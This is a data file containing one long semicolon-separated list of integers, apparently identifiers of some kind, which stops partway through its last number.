942;79311;17247;94071;26197;17260;25637;71349;63158;22184;72332;17273;25708;10687;82775;91829;31414;32082;18141;12004;100761;11076;35462;18642;56691;16194;92435;50693;88932;90152;10650;25885;73158;83466;77906;68936;82566;46215;11972;71496;86301;31351;99968;10527;97889;15540;73523;91898;59659;49287;61648;64362;99236;15856;70145;74190;31096;57802;85255;32138;87245;40665;64708;10576;78033;102993;11507;47864;10039;92948;25420;25690;76619;43829;43391;83781;61447;10021;18054;79141;81546;67119;22132;78035;77327;22235;103929;69468;94763;71928;35661;84673;18205;35659;65895;48971;103123;11889;10800;36128;49172;66942;85910;17758;40434;52655;56713;81257;34403;56566;11605;61995;69429;11930;11410;88529;59229;72622;88935;90919;58621;19705;63061;16230;69870;63558;77707;84746;101810;100958;34963;11846;95659;59727;31037;73081;100383;78921;11376;49048;103965;34323;10521;94328;101901;76150;42111;71495;14681;24671;20993;10369;29893;31347;97635;35587;21303;78085;21642;34772;36035;20172;11239;22032;10247;64895;70196;11290;90202;11772;94167;79667;81652;11427;20839;97019;81379;49145;95633;91224;60042;44400;72395;93461;34460;96144;21155;70718;85742;22074;21696;80493;16061;94436;11336;11715;57348;69320;24734;57913;92367;62459;49034;53533;47556;92021;38949;78743;52534;11254;94070;63338;11476;20180;21747;15785;16023;39564;73643;69469;25348;30210;57371;29220;42797;58813;87593;88754;58455;94915;30215;47124;61715;81790;10327;10628;10799;92431;69934;45388;91854;45528;56692;64247;30123;81146;12029;17368;21080;69817;72152;90832;35974;25762;100679;67172;39616;34252;22332;10088;17648;30058;97574;12055;104273;35328;64470;84048;12241;73099;66835;11609;60048;200015;87256;63646;20386;10398;69326;12019;67233;101528;87869;1337023;102270;91823;25423;25349;100195;35975;82026;61550;56994;50678;15557;100185;62776;28184;83740;34022;103693;85843;17326;11979;57365;66542;62943;18005;77020;18131;100461;76790;23827;77859;80857;73185;50387;82571;10294;96772;67218;19310;22256;102082;10760;56054;87264;42058;64832;78090;17722;15556;11231;72368;69019;91811;48215;39493;14816;49780;11538;102174;79246;103194;33850;48406;72542;26198;65631;14234;26001;77370;20316;31800;53830;94679;65048;26916;47620;91459;29253;56752;67017;56509;45545;94402;18447;69082;10426;52481;72616;99471;97890;43403;72585;66406;90362;24269;72684;55126;12243;66804;21210;20402;83769;70321;11340;10418;101298;62204;12128;63202;11741;58596;21749;11316;20162;20984;49019;51860;46847;11833;66395;21118;55023;90027;56238;58967;11029;23808;21918;89683;17285;86001;101547;36075;10150;15986;11664;10980;46204;85985;93050;77438;68991;55791;35660;79146;56348;22030;70118;94639;66172;58273;18428;11200;17336;25626;91998;12298;91960;18491;34202;10320;58902;69330;72202;56667;22195;11488;76310;83346;10572;88989;69949;77580;103837;91009;100621;10995;29745;94011;54922;45139;36215;91767;52051;57891;104560;81086;77562;16095;17788;10152;50811;72908;24228;24326;77238;91997;100198;76118;45555;48239;56063;11142;56819;63549;50603;40770;78037;42825;81381;88104;94470;84585;73760;11399;55512;99030;23752;100196;10245;65893;50600;72815;100387;10594;73460;58451;45415;73829;64501;46801;14792;49221;19298;96337;64933;39330;72960;10705;11477;73497;54616;70620;100596;88642;81912;78693;85741;86655;19505;12005;92468;10548;15912;90425;200044;74092;66295;86479;50705;30134;10481;77404;88755;55424;77160;38913;77249;88983;89664;65722;25799;90248;45419;18119;53858;83992;94407;18654;82584;71052;71047;12123;17348;84761;17740;91625;17687;69047;95389;81052;14250;25935;14356;14645;72263;92038;70760;24908;53878;17636;103130;62203;85988;17156;66269;51062;51058;18035;27057;73118;63223;31118;17201;1337012;10759;78385;59249;66382;17754;11070;103787;70273;44938;20177;33271;46702;94933;80224;91817;83355;19229;56243;54299;81299;81599;45133;38208;33220;25090;47713;33849;70546;88697;82587;76279;23769;104667;87243;10851;49998;19385;38651;15565;76883;86673;65886;20393;69018;58518;66425;51834;56044;59173;11487;14233;87313;23976;19604;12239;62945;33134;38986;55289;21225;63645;11847;93079;74427;100191;62120;102589;73969;34964;49008;19255;76121;12287;15941;81048;23805;97142;42821;73019;20807;11011;78676;88905;35806;46183;72257;45591;51911;26060;76916;29217;18036;73477;38888;69039;85537;11879;47785;83289;38650;12643;76945;42052;15433;61647;69865;16170;10702;55551;70914;33443;16390;81081;19681;74038;34369;18373;90150;10897;22034;35787;18680;52157;48927;91441;100463;92818;99363;19545;96777;53546;101530;18124;77779;72397;56216;11881;59407;62077;50989;71321;25931;99932;59915;21245;56318;63064;81740;88382;40872;36205;82853;56818;94956;19253;70619;11228;23642;34818;14788;76453;82821;70882;40334;29899;18215;70071;88592;97741;58385;99585;11421;56413;22127;62031;71642;23807;83370;18489;64683;48949;92432;10734;51179;10157;53322;80554;56821;64688;45060;36100;11051;18199;55733;69014;58204;10427;63325;25736;62716;84961;86420;18374;18289;78892;58798;103694;93196;48985;84403;70075;1337222;41644;99367;59718;66202;16202;10246;15823;40363;12094;47112;21334;10250;103121;44597;17825;33228;86373;45505;100322;84222;73346;87596;24904;40558;11362;100595;10087;52756;29744;47578;33744;20994;25549;22227;101158;85006;22187;62640;51189;11749;42083;23974;66034;70174;85543;77563;97745;17709;81576;67003;49051;103124;99984;58207;19602;62893;31413;20299;16174;86905;104669;13642;90099;64687;46802;62639;46818;48323;1337016;10712;79272;93345;101772;55513;92543;12253;57347;103329;73131;11433;19228;80860;10950;76088;18616;72836;72460;33105;44078;11556;55455;44109;200037;92371;21736;72343;20011;21051;81699;99690;36017;11712;23647;69495;14219;25296;11234;57288;90446;43155;62702;56166;10715;48213;16270;63693;11637;11668;58846;65614;70715;62516;24237;33138;11071;56512;50831;73462;46850;44118;57805;86153;43100;100380;58328;44134;86542;59401;39349;65743;93128;19414;38971;57474;104668;17209;50844;15628;87952;14245;11722;58500;15586;101980;86824;55749;18534;11300;17594;21564;25709;83033;10817;48300;74469;62717;87891;46736;31724;56632;51140;49071;19591;77688;10867;66863;62100;88698;24243;43369;58750;100963;10342;74042;73183;14357;16205;73483;70119;82590;73023;102995;99691;74268;68993;31097;42441;71313;78240;65188;90762;66175;66305;85885;92020;11643;91676;78917;91443;69844;44343;10249;51097;97888;23966;10580;73300;89835;55594;85651;20401;17820;53594;65054;73618;10482;62063;17840;78741;84567;29900;58682;11353;51901;51060;74292;34235;76282;73418;12035;11710;51092;22092;100418;31733;29223;77002;69994;71897;58387;29251;72337;50658;73159;94337;94357;70329;87013;14179;44675;80518;22536;93846;31732;79133;66307;11669;22419;72484;88049;55799;71536;10315;72702;100106;71971;15449;90685;25089;57940;14708;83351;100125;52045;12642;10356;96489;22206;86631;46240;14836;14629;84238;20861;68932;46869;74430;15948;20931;59179;12066;46787;58950;99307;97021;80913;28211;102587;71436;46742;104045;73377;87411;10365;74160;11458;64852;80222;55121;84743;14712;42934;68929;29252;25884;99689;97327;35072;11683;84157;10924;77702;44394;65892;74037;62367;77054;65633;51138;24876;22297;67020;87258;19418;10129;35262;100423;73094;10061;24002;69881;45416;52015;100061;11942;29997;102499;11719;84641;97666;40561;29829;31861;76497;10525;81605;57323;76189;24339;17151;46200;70621;53387;88753;65253;10641;35803;52633;49010;17971;15860;88839;90830;89667;93658;85650;93479;38928;70323;100269;64915;72349;38947;100272;63080;52501;14365;104562;26066;73571;73987;17834;11000;57561;101355;50326;89669;47784;34336;100869;18446;66024;99373;74039;81166;18362;49700;70322;87126;70659;10819;80485;76799;71569;79832;66329;11085;11066;16141;56215;73833;81824;58447;18212;60032;49285;51908;18059;85805;88648;10790;10818;58569;62123;81578;45578;72802;92039;25293;11709;81812;55446;11434;73458;76865;47902;100868;57791;11265;93478;95719;45082;105002;66913;56173;21327;16217;81425;103049;86367;10894;64682;26022;60097;1337227;89080;35030;55024;19401;77057;43350;11236;91283;103782;31416;38789;34419;12513;62181;20902;12201;52504;94580;22016;10138;66358;99479;10640;76993;48288;18528;78036;40335;72486;73757;84342;11204;102428;11673;11185;64853;11922;40577;68960;18533;28292;17650;12041;101395;46350;70625;103507;95440;48946;63643;58410;11540;42873;41946;78111;70122;54607;49033;20212;19762;31720;35658;56091;22267;14830;29306;18200;91763;11648;20089;102712;58184;70318;31738;73024;101844;86657;25424;17830;71431;10555;33485;53846;73123;72258;104381;30187;13858;83773;45517;83745;24267;12026;43830;72212;72370;10549;86675;23780;22091;11279;78769;31167;20002;17772;68994;77281;69033;63449;77502;91385;103971;73984;63073;45120;10957;71860;58816;58662;18551;22089;76947;62393;88054;18592;96776;96143;72335;85183;91015;80190;101089;76798;59377;20376;89871;78446;73863;66473;101977;90424;34477;49011;29835;66518;49045;99510;70164;34821;99185;56174;87940;58749;21293;103972;56511;53389;31645;38663;97191;11625;69518;91994;21619;10942;48375;56959;51172;81784;11440;82903;48298;69241;49645;72417;103868;35712;102035;10382;34476;11515;18691;82620;102426;10843;24736;81739;25250;78859;92355;58233;72662;50381;103670;56337;11527;14632;10105;18023;21694;42367;45609;66933;25625;11849;12252;82776;23979;55422;66925;48926;101114;34113;55449;90361;12050;56061;69240;62561;11687;65874;84963;60027;22336;39805;42877;102271;18245;33876;19395;73710;10888;39470;77577;77390;99528;11408;15902;99360;18021;25764;62627;36170;87671;79746;24330;104662;101837;77727;45501;12209;200038;73018;10360;26963;22024;87946;70210;22232;29965;84642;43027;12300;78515;57031;15453;25707;52615;19403;31344;87763;40449;94359;66415;90024;20095;46195;42055;63550;55732;86122;11235;26925;10583;31047;34970;50323;64259;70684;103530;38745;70877;57701;89081;14337;66894;11315;92842;82710;62357;63227;73211;38925;89747;83292;63553;77167;77705;15403;25198;35716;70166;18137;26187;15572;72663;25571;20951;79334;54987;81209;54603;83465;85256;84052;97740;18254;58815;77558;90833;26021;72392;10704;74036;11781;62351;22027;20340;81737;34220;70165;70462;76213;81264;77283;24743;11739;19549;71783;58582;11585;91384;18478;23830;34726;65551;15452;72515;47859;88904;35087;62798;21725;10410;87764;11726;85581;17802;11800;21212;15469;50528;62628;70136;100299;90679;10099;72556;14296;72367;81002;70544;44986;104128;29923;11151;83288;69928;18504;48383;67002;20889;72619;25766;18506;96451;36073;18524;73986;17160;59717;73615;72602;56284;95632;10406;58435;11063;15968;72347;25525;74091;72217;11320;49962;91885;11445;57539;17363;20836;16337;64839;70919;81148;70095;59368;10979;82503;43614;43061;11816;85567;31643;11659;92419;100105;40551;92967;81049;72728;60023;30133;11101;15421;11756;28228;34021;78557;88053;45438;55438;34044;35609;70714;91947;10516;33771;51585;25886;94404;53503;69553;74443;69041;73375;103663;10386;10958;15764;32503;58402;96484;81050;51123;80914;10009;57939;69049;35788;57750;81375;69280;36152;11017;17592;64703;12025;78544;77402;17583;72814;73135;103785;49042;81023;87222;50418;10025;11370;56451;97995;104657;10092;92425;74290;10936;20158;21219;74150;64503;70847;51141;92839;93656;12014;63267;24266;66420;93513;10177;101112;11221;104324;71350;20342;62691;59789;86609;102324;78089;99511;10259;72861;10544;51833;72431;81004;25091;16250;101264;62985;88410;22253;93113;94354;80916;65928;24757;10883;35635;73419;78391;89663;76362;15911;58583;11190;73737;11469;18297;10711;86151;13657;10686;25486;15964;85125;11260;10057;33868;82505;24701;91673;65642;30186;51457;104654;100416;90200;66391;104480;69017;56468;76112;11552;48382;11224;82531;44065;62787;20743;80305;56921;69136;10107;88643;23967;73455;59244;70887;64297;86913;19679;58331;65766;33447;80333;58660;54587;16137;10839;34398;23841;10464;92724;91819;100762;11115;99282;62786;50577;102803;10723;82082;50306;101531;61529;77689;83183;50383;96625;14647;22204;24725;57468;61517;93736;64264;55508;80911;86371;77812;20383;83290;17786;23755;24337;77666;16136;70726;91633;10699;76526;97724;66584;10059;81757;46704;74153;57475;72091;17210;77683;100056;81746;62589;74154;57351;84962;10306;57469;23641;90626;34266;10390;51852;91321;73405;15822;47760;86419;90354;25767;18419;72062;61994;87373;70461;92369;52614;99934;15937;87672;25636;63454;73684;71535;45019;10293;79388;88903;46784;35297;77908;50509;48436;67019;42089;101841;10961;78430;70138;56822;31729;86123;73305;11663;62292;52979;25000;14295;17716;34097;11492;40876;73384;15967;11270;13647;11887;91460;69021;73307;49047;88652;44072;79145;65741;10660;100171;18612;12069;59228;76256;43065;76708;82740;74016;35820;10595;73463;69284;103872;59851;32030;100182;11499;71499;92428;11182;74040;65676;50448;76132;90447;61610;102861;74216;10898;100153;40887;101522;59115;10546;59713;24713;11060;72586;40798;15909;83871;63638;55814;72061;22362;62718;22531;14289;12044;11769;21726;11426;62376;19301;92362;78512;10606;10267;78447;91322;90794;10513;62678;72093;17214;53335;59047;69955;11694;21228;25673;10450;85842;49176;102683;77681;71881;69368;65030;35566;65740;14183;87951;66838;66448;73411;57272;52585;55925;64932;73646;79855;18101;35711;64726;62745;66274;11282;90423;46223;82568;55788;51191;17701;14684;72427;46864;76278;18135;21238;91626;101788;14323;14833;79130;47900;94396;91972;17986;96657;57824;100158;81187;56301;25706;18028;74421;20869;12266;69876;58454;48294;49274;10932;20391;10063;11068;11419;100961;49958;103856;51368;10529;84828;62311;69171;76491;70727;104743;10815;12115;58580;24238;78433;24756;65615;11672;20129;70925;76914;50345;11626;11755;36101;100297;99633;88907;33871;76332;21239;10319;62125;72965;61490;92540;85350;25567;10158;19553;55437;18298;84636;24334;94390;84825;70258;10313;97212;53386;55959;103869;101842;66859;69074;11862;24700;51187;51161;34434;99031;33532;76574;87928;82042;71890;69996;10060;49226;84009;80225;78481;96727;31357;15553;33137;10996;12072;100805;63318;19941;88415;45544;14635;34410;10144;76357;16173;16169;77221;86947;86104;42962;42427;81486;42439;36074;90005;58566;11916;101300;47619;11415;72877;56585;84674;86326;25248;25738;76149;76428;103513;16120;35299;94960;60063;17320;72959;11805;59817;88700;40467;11691;14298;11885;72878;86851;97744;54291;76089;62293;83438;93533;69873;97892;101978;11767;96771;68997;100840;49689;85274;20338;94251;18493;77389;102084;21561;76967;10785;11706;97470;58987;80964;83464;87327;100786;15437;11610;18120;16224;86915;11611;10939;82778;11324;14733;53534;103865;17972;24909;70094;27535;73385;15462;18138;66935;35627;103515;31134;15988;95715;27803;92493;85846;1337015;83770;34081;59477;32031;72346;10037;52961;57979;18290;34767;33811;61746;102431;58209;48284;40559;73122;10383;19307;62784;45418;100160;62354;55022;88097;66811;103754;81266;53916;46845;93616;59242;74429;22079;11218;62946;55748;72984;34243;103136;59460;69559;67023;33589;66318;76970;102362;83301;59905;84566;38206;70940;91572;33141;65691;78474;14283;83358;11526;40892;103875;76408;22158;20220;63522;79124;65806;55883;40615;14299;72348;20905;63350;92436;69804;62760;10040;20228;25124;102958;101787;17816;59036;104895;66720;17997;62074;102919;87414;59446;73341;32443;40926;44674;10937;90312;25240;62629;15405;33951;10540;18571;64840;64261;57691;11250;90792;17599;73433;65917;67128;51644;1337001;25880;103874;56315;49012;11331;55958;59850;73647;69348;52976;21038;12092;11787;70023;84987;18206;77118;17789;40804;100785;42879;10611;56734;57349;96801;21620;35109;14270;26018;90189;45626;14361;100426;63076;65187;12301;104129;91571;18006;51163;40446;17751;39617;62065;79438;52025;19497;84231;70195;35611;90527;77175;24327;15780;81385;10827;59980;20392;11243;46866;89998;200008;90862;22367;10455;10847;100201;90265;85767;15949;22537;72065;57462;100669;73478;11407;57792;93717;11286;11992;10500;67006;25004;60100;71857;59730;26961;46785;80037;11326;51920;95713;94355;60061;10239;72659;47829;86421;50598;81403;65900;74012;95714;83365;33937;61650;99305;72712;65197;33823;15487;62315;25371;38790;12235;44071;31095;10181;33545;34849;11566;12003;72800;81953;85685;34117;80478;30129;93464;93343;11799;93403;102991;92755;86697;51907;83293;16273;63137;64848;76773;54645;100273;90009;69100;39340;86300;22319;104899;67225;200020;81521;50514;86020;11951;71117;25200;11095;70916;71458;56259;46692;100592;94358;20805;14194;58039;21119;10186;79135;61431;14191;29314;34946;41057;76709;80082;16274;49792;48964;24761;43088;18494;10908;102588;13643;83364;68961;21570;34292;12107;19703;59076;48983;59734;70337;63229;65213;86541;11966;83163;47137;11420;70399;50493;86546;51200;10004;20891;11257;10429;90601;57767;83763;49030;11460;62642;14718;11391;70894;17798;104999;33949;65617;84500;16319;78822;11489;11377;79147;11168;79386;76280;13651;25446;11882;11730;50001;22410;15904;15962;84582;11452;69477;26194;90511;46857;57322;93374;25956;53595;94628;35081;100787;57274;103748;33523;73980;22295;73968;103302;34122;10494;71342;73457;87372;76144;55533;91780;82528;80568;41625;20996;11597;49778;24745;57556;89115;39853;17609;103750;16152;25701;11384;15910;92363;21027;91995;65689;11435;83298;10287;76255;17653;40477;25289;50527;20215;35821;70332;62392;22495;20284;59194;33127;74324;91896;34488;25443;88649;25080;73273;91608;11356;102359;101524;73499;91761;87261;10589;22078;70848;10091;11073;86380;22512;18483;82573;74426;10857;57537;11590;12001;90628;83115;34470;73020;72777;51936;10692;51094;97731;89662;71856;90247;104849;87413;99475;25928;85649;81732;18639;57575;16185;16172;18495;57025;16335;22414;85322;59795;70127;59498;104889;19701;23932;29729;44329;56122;73595;12089;84822;17725;85565;99669;21211;33280;12056;60045;57796;18356;14290;64716;11337;10994;11598;100962;10988;18186;73345;83522;45543;19523;24726;51674;21193;25245;79797;93651;15615;59736;63110;18037;66585;10559;103457;21139;45391;26200;11510;10917;21786;11559;69449;41028;90681;57572;15819;89051;95656;10056;40614;43865;26058;71925;86315;11108;31717;38665;67209;25906;84765;14177;12271;15766;85382;11464;76493;73371;17257;69816;59326;17208;22366;60030;36036;19699;81520;72184;58602;17689;52717;18366;51850;14291;60062;10821;58993;62415;200017;16122;21618;15867;19305;104969;11360;27618;94643;57772;11214;83517;29825;81911;91973;76793;74105;72743;77635;58107;22192;52616;66765;47763;76191;14685;54996;10001;83138;25170;86819;85405;29312;55978;10645;72658;86948;43098;15774;90255;82849;67257;63077;58683;100872;103752;11519;77153;17732;53622;84292;44588;72514;94932;70338;10484;57941;11105;10846;84824;100597;81813;62987;72885;72236;71636;66695;84573;17315;57372;41056;50576;10277;60107;76283;25991;21246;40989;64471;43637;94372;42413;58966;99366;81342;11424;96449;58951;40564;100199;51574;57699;88490;45345;72964;86874;23781;66898;97726;11061;47747;20227;79123;33813;78894;21020;80909;10430;82851;11308;46676;71325;55026;25372;87472;11808;87255;66839;78540;30206;10508;47029;104178;100681;86148;11851;40353;70168;22363;18505;57281;26056;82592;49013;84735;94636;46312;17294;12062;26969;36133;22309;56177;96317;23975;18193;94201;31655;58564;94971;71216;88099;73852;15622;68938;11764;80200;33506;11323;21304;69195;21328;84805;35707;23936;70557;67008;78871;103698;80398;87894;11133;56230;87895;64561;21205;72511;11644;64822;63096;10812;86994;104885;78701;11905;88103;50706;16197;77154;69329;66479;91989;16277;93234;49227;70586;63228;70974;70370;104558;77759;62121;90999;10981;25672;11954;34362;45507;76590;58432;89668;70558;64702;91599;49950;58952;73990;66334;58350;81591;25086;90434;200032;58090;67007;11098;78747;18637;70767;86567;10657;69305;74151;63135;18262;50543;81672;18064;62223;11854;73576;55833;15928;87871;81424;89056;99126;49068;11998;48404;84498;23779;103378;87927;10424;69825;11599;11503;57949;50047;15927;38858;11733;10998;70172;91016;23735;57536;61514;11031;10701;32123;76580;11814;15850;10884;45086;39480;101367;25550;64850;100183;73527;15400;42981;44646;64508;18391;101904;87324;16190;51772;45344;13849;103050;10370;73317;22190;62371;101356;47135;43156;53857;87881;91096;22205;34756;14782;47901;50088;93382;99371;11432;71888;80906;11631;11918;73942;48296;60153;15616;101371;67205;84152;31607;49222;19718;53411;77367;29749;44415;33881;105006;89671;81574;18541;59240;21215;14630;16153;17158;83774;97579;15772;85216;74289;71880;15934;71899;18620;63078;55815;55789;23817;68996;96778;11802;35709;11394;11084;27590;76766;57334;53488;69954;77165;73918;70728;91606;74219;48992;22226;70785;44589;11153;56710;76995;56703;10160;70852;12068;33139;25900;71967;78553;10381;64844;28290;76509;35104;11842;11843;45608;21324;62623;10881;56448;58810;10167;22300;66236;35557;34108;69321;10695;80283;35632;17608;25024;100026;93315;44324;85566;58448;81547;71863;70761;16325;90624;99399;63478;65737;49087;49003;25164;11600;67258;25243;11578;94654;12084;25934;14347;60031;17253;79136;18065;17321;87172;80959;55125;21784;94013;56056;22869;95540;64912;101297;10195;55506;83953;26027;76575;23732;51586;21690;32506;47828;54579;69051;11699;29221;18261;102498;85334;20283;15541;53633;22183;11803;53471;11395;10035;100420;10041;10556;22097;94387;22182;47759;49692;87824;11188;100991;49067;11861;73575;70460;73913;79419;34293;57764;46196;93466;79248;47113;91981;19697;10944;27506;87681;71951;19384;64992;59959;86072;84739;32310;81206;89055;76941;99359;10054;92374;89999;57395;56321;44658;22308;78392;93653;20293;56120;11914;89034;72660;17226;87507;82829;62997;15455;11588;79384;44967;24900;48255;30132;59791;99929;14369;58949;44048;76087;10684;22509;10509;20735;62965;71024;72931;15746;11506;63420;66316;104436;10604;17150;33902;71318;21331;33391;77504;22449;14255;102497;101269;60037;25445;23751;93654;59366;102018;42861;100788;70618;103381;56313;11390;76148;56620;72776;73525;59092;20170;22048;18048;10689;15765;10570;10465;72816;56213;100357;42844;32324;38912;10720;20294;11019;11731;87765;10691;69323;48965;99129;55632;81405;18136;90766;82269;18244;80492;47827;101048;12013;16475;10002;25203;58006;20213;21188;56471;83772;15894;71637;66036;50305;79134;93523;57276;22023;73436;51922;56212;42210;15404;57975;51861;20375;11456;56335;52654;81184;10419;33439;10798;40874;49698;104125;77499;92220;94360;15924;18055;50829;56412;25995;93719;65192;27583;55117;70146;72220;73739;59728;12114;25241;105041;70077;26192;23832;83764;29800;11388;103566;15891;78916;73994;73769;25926;63060;69138;11116;27574;25691;82913;101361;87768;52001;14823;102732;35291;56653;95370;19781;78870;99518;58906;18650;44961;101045;30218;65877;34351;14771;20738;57410;55456;99377;11790;62835;93230;59232;94368;85766;10161;34324;45414;94512;21036;59318;31658;100620;62813;80525;69445;76130;103696;72219;70414;61489;86914;30052;52634;100760;73470;42084;11183;80907;59176;78889;95289;100593;25125;57316;10071;18025;15605;55047;69951;70559;25165;56684;49705;100063;15561;71048;22225;58563;46884;82588;53388;19510;55649;15817;87475;67022;33226;100190;91350;21167;15458;53597;62374;103928;10468;97743;35327;82586;17730;70880;92559;21695;84006;81913;1337020;70922;48952;80459;11210;18615;63280;12077;19558;81489;102495;19402;74262;73101;55532;31719;96609;63203;21596;54586;17309;47715;200034;71040;94336;104887;91284;88460;11873;71212;61493;91730;45394;105003;100256;96906;66178;14728;99668;20885;11628;65254;62565;84881;101845;24015;104850;87767;88654;12122;17211;11682;56009;67213;34397;11404;72509;45017;99665;20862;43876;10261;78510;10903;59044;11217;61624;81249;33877;17745;11208;46238;102959;33848;34947;73301;24758;24711;58847;76413;20988;87945;34111;31051;1337027;84726;19782;61518;71995;64930;56820;11201;96446;77670;71500;58801;71348;10788;101375;45357;40555;92628;63617;76426;14314;94361;16210;72711;92754;80223;81779;56052;40478;10677;31680;57277;19598;38654;81493;51394;18359;74425;94678;69925;21581;14837;26912;76622;31420;60118;20216;14378;54990;49142;104462;103051;71945;17810;11929;34160;44643;58954;17711;61394;12048;93471;43157;25338;15849;47166;94637;97213;85539;57634;77542;55928;77810;76071;95809;80083;46846;46242;10654;71523;14358;86249;63351;10120;54972;10292;90313;72721;72667;18643;78067;100301;80475;64295;11827;64096;86368;91670;82076;11561;55509;70615;79722;23826;64849;10925;34443;52043;86659;10803;47833;78014;55832;76169;84744;65690;19387;47576;65669;88461;27841;99589;103304;81917;40929;11350;57582;84767;11569;55129;71973;92463;20972;71044;68934;103671;59731;77305;15942;21567;87922;25674;94367;11276;25197;11093;80915;62574;48354;100464;42056;65952;55120;51919;16012;87310;50494;62477;23824;58607;71319;60155;100511;58562;66405;38972;12634;31795;36131;11581;97664;19693;38689;82742;22878;84748;17835;71838;57285;10416;90921;42468;22193;17254;42862;70120;56957;59606;55115;97355;23813;44068;40861;15642;103458;77050;29698;22314;15417;11563;55805;31796;62692;10123;10551;52670;11256;93049;16328;96388;39350;90307;48994;104660;14810;52003;92430;88955;16171;63521;52589;59910;70658;25737;65613;18560;62186;29748;11345;99727;70147;10970;70352;36103;73862;10886;40447;73943;35309;60095;49043;99362;11310;15857;86002;92606;93028;82534;74155;23802;72429;66932;15425;10895;55570;103751;48977;65616;94356;95437;39591;97754;70316;72937;72693;19592;78478;72727;62694;15477;57284;93515;58644;69984;24685;102710;86314;15929;59447;92025;15706;12215;11684;100192;19948;14804;46706;57917;11338;100181;47697;20845;29216;12088;57589;22133;83956;11834;52994;76946;66179;10106;24911;22370;70177;11057;59374;22416;10142;103679;97734;99306;87777;86302;66272;35258;39479;72483;11097;70921;15936;64583;81513;43864;18558;49706;53208;64587;31791;62926;73993;17729;25971;87241;104556;78034;62224;34350;49054;85739;51125;11339;18617;18257;101955;72645;54999;70717;10486;59858;82703;73481;10072;73205;50324;46786;59192;104552;33819;10840;86949;70069;42880;22095;35708;56320;72396;12230;32481;76939;31851;81549;10975;18480;71525;54942;10714;51439;104718;11770;10989;72757;16468;24268;10814;22415;62284;12045;89786;80553;62562;58795;73519;14257;62118;10752;69475;91783;69331;31422;91442;63347;33928;50049;11480;11919;94109;31350;14246;10569;14287;18393;32394;18433;93112;40352;94394;47862;104655;73149;71887;18361;15970;21311;86658;76971;23633;43175;93740;99361;30106;77970;105024;35068;65811;42044;48246;73210;11412;86473;11003;99706;59114;18424;64710;70762;96145;10286;25684;81083;86318;101084;21040;41945;31798;69513;70740;90311;45541;14633;15901;11716;89039;21306;11840;66943;18190;71463;88043;57034;91006;18085;22526;74224;11048;64916;81185;27591;50511;44659;11548;89692;66173;25287;40983;73474;40852;101821;20007;94961;92022;91310;11513;11136;100421;52703;65029;73921;73404;47038;38153;92321;73634;78554;55994;70741;62414;63136;89661;21589;62907;81046;84811;23965;26923;59732;93739;18083;65056;66416;88020;51119;38762;35689;20174;80920;69281;62389;52503;12262;21329;83303;58412;49219;54630;64438;20930;73207;39465;11309;21677;17635;73764;83279;90941;63623;88881;25954;49284;82570;81180;12054;25461;10024;74442;32323;76535;42085;40331;24019;10404;72151;83873;85160;31640;10034;10499;51096;18507;77498;71156;47766;38699;23799;66908;57771;73103;77858;100296;48364;21748;19506;11792;77480;22494;11333;42119;80859;91612;11736;80966;80460;19396;20727;72983;59715;39345;33948;59411;93720;25494;66203;18266;97210;15711;11856;24233;17652;57578;102266;56631;74364;85381;69874;81207;100841;83730;39807;80885;69478;33279;84239;10185;96768;18033;70211;10451;99400;19394;44624;73339;57635;23937;10820;11632;11129;57039;94138;50599;62685;65734;10518;10893;51192;94384;16463;56920;50541;59969;78543;73645;59039;11794;10251;70918;15460;64506;99632;62467;22228;42352;11466;21244;27584;59175;34082;23736;10411;10794;20395;89875;77301;97226;72387;81105;14368;22090;83359;51167;72513;10005;94389;91194;94055;84193;14318;100791;85541;85351;20754;65739;51188;48297;10352;77055;21218;11774;10519;92421;51059;72706;77857;73836;14313;44094;73596;103195;57041;47718;62969;46328;91715;87416;88650;58482;78767;33859;21220;51814;10929;65674;84195;72605;73275;44587;50845;88956;76348;80998;56735;33761;95923;36147;58581;58232;66693;77830;78509;62625;62975;103819;21099;17691;21728;100845;91260;93381;59048;91601;100765;78547;46311;20182;56065;66964;11206;17707;32081;21305;10070;20000;19504;78233;51122;70591;35765;99480;73370;21630;86543;95658;55143;64714;44660;100998;94047;79360;70125;62075;81733;56171;20346;11039;93344;77403;57318;80036;10567;96928;55118;21217;58483;94511;49002;89029;17698;43352;13852;73160;55631;79139;17699;10935;91964;31731;19391;53812;73102;96728;74089;100764;91597;14370;91915;12279;20812;95541;59793;11630;52715;35953;69915;21143;10978;84344;99522;103932;58768;17651;72934;84163;49707;10578;87219;93231;103188;100194;103968;25898;97436;77200;103219;87259;55132;11100;18296;34433;23828;16209;77150;45045;76358;26010;71215;43636;65256;20318;10566;27055;80080;25688;87594;76119;43402;64453;12272;58186;12100;66554;87890;81487;96775;100189;20297;99246;20936;73530;104478;70331;73272;22299;48970;83471;11678;57942;81972;44420;65883;18432;78110;86152;62988;69045;100204;55931;10912;85514;17807;70315;93409;51459;46842;66543;55794;27597;76794;90318;102733;11820;65891;86248;29703;77087;78475;70397;10561;22270;44318;10922;97524;69426;77607;73895;89112;74363;45417;21740;11795;33944;34372;69442;17630;90710;99125;11166;15639;103816;77691;83439;35074;10730;33878;51527;104497;17312;35655;13660;21340;10750;17193;25756;10156;95888;42900;57606;19234;87504;87502;77732;14714;80494;24815;70545;14372;91500;22093;40565;100154;93518;22191;78824;10366;12281;83053;40987;63324;10307;94168;11910;79127;99707;40890;102017;103382;77831;83737;62592;83186;62349;62582;70126;100465;62795;38793;10860;83917;96961;21313;50561;25087;17809;58832;92322;70923;58330;15965;62662;70947;20217;76214;81778;65195;19546;74222;11329;95441;66025;19763;45378;10625;100792;64938;87965;48407;18568;11299;76416;64573;74138;71116;35069;18546;49647;86660;76128;18201;71891;54924;51360;53895;39791;200045;11583;64557;38927;94107;85707;11627;11041;50379;17710;20992;73021;85690;90433;63231;83736;100388;14770;58800;14726;12083;10436;49037;23651;60083;52669;17726;45580;103933;59371;88595;10736;55719;88046;84586;11656;93194;94199;48273;20097;24907;29224;66271;74186;10053;45610;25370;21641;36162;72778;20319;35823;40330;47046;63323;10475;77761;96315;60029;71534;73213;10444;60139;65854;70970;15973;64296;97944;11981;94014;58332;31410;20009;19509;42112;200022;69103;18400;25705;87726;10415;81318;19608;77474;64248;51838;103925;67129;31467;33441;57768;40469;25699;23839;24783;56682;11037;94291;84233;102204;103419;54583;35220;49218;20343;51875;40668;57282;76571;50302;20975;93741;61731;15442;45504;63428;91101;10982;18287;87822;11289;70167;55550;77606;19239;17826;90198;19584;81742;91824;103817;70663;25711;34221;66931;65855;44317;87208;11368;36130;36088;82027;21271;21208;82030;76356;26186;33478;10533;71173;63430;200025;97738;80480;16338;57977;93610;59913;17693;11841;10164;29896;84504;56456;76359;18